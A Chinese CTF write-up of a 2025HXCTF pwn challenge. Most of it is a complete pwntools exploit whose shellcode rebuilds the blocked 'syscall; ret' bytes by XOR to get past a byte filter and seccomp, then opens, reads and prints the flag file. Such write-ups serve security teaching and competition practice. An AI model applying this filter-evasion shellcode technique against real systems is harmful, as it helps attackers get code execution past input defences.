自己也写了一些,但是烂尾了,抽空补上:http://downbeat.top/2024/11/13/Seccomp%E5%AD%A6%E4%B9%A0-1/

正式分析

ida打开发现无法反编译,那就直接看汇编

  • 第一个seccomp函数

规定了程序必须是64位,因此无法改程序为32位,调用32的系统调用了

image-20250512214906642

  • 继续分析

通过check就会执行写入的shellcode(当然还是因为这道题目什么保护都没开)

image-20250512215131331

  • 分析check函数

只是限制了这些字节码的出现而已,但是我们可以通过异或构造出这些字节码(加减乘除都可以,提示给了24点游戏)

image-20250512215217604

EXP

解法其实挺多的,先放一个我自己的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def ia():
p.interactive()

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"
libc = "./libc.so.6"


p = process(file)
# p = remote("43.139.51.42",34123)

ru("Have a try!!!!\n")

# obj = AE64()
# sh = obj.encode(asm(shellcraft.sh()), 'rdx')
# print(hex(len(sh)))
bss = 0x6020A8
sh = asm('''
/* 构造syscall ret*/
push 0;
mov byte ptr [rsp], 0x4e;
mov byte ptr [rsp+1], 0x44;
xor byte ptr [rsp], 0x41;
xor byte ptr [rsp+1], 0x41;
mov byte ptr [rsp+2], 0xc3;
mov rbx, rsp;

/* open('flag') */
push 0x67616c66;
mov rdi, rsp;
xor rsi, rsi;
xor rdx, rdx;
push 2;
pop rax;
call rbx;

/* read(3,bss,0x30) */
push 3; pop rdi;
push 0x30; pop rdx;
mov rsi, 0x6020A8;
xor rax, rax;
call rbx;

/* write(1,bss,0x30) */
push 1; pop rdi;
mov rsi, 0x6020A8;
push 0x30; pop rdx;
push 1; pop rax;
call rbx;
'''
)
print(hex(len(sh)))
# bug()
sl(sh)
ia()

队伍 "想成为签到题高手"

image-20250512220621243

方法很多就不多说了

  • 标题: 2025HXCTF-WP
  • 作者: D0wnBe@t
  • 创建于 : 2025-05-12 11:51:16
  • 更新于 : 2025-05-12 22:10:16
  • 链接: http://downbeat.top/2025/05/12/2025HXCTF-WP/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论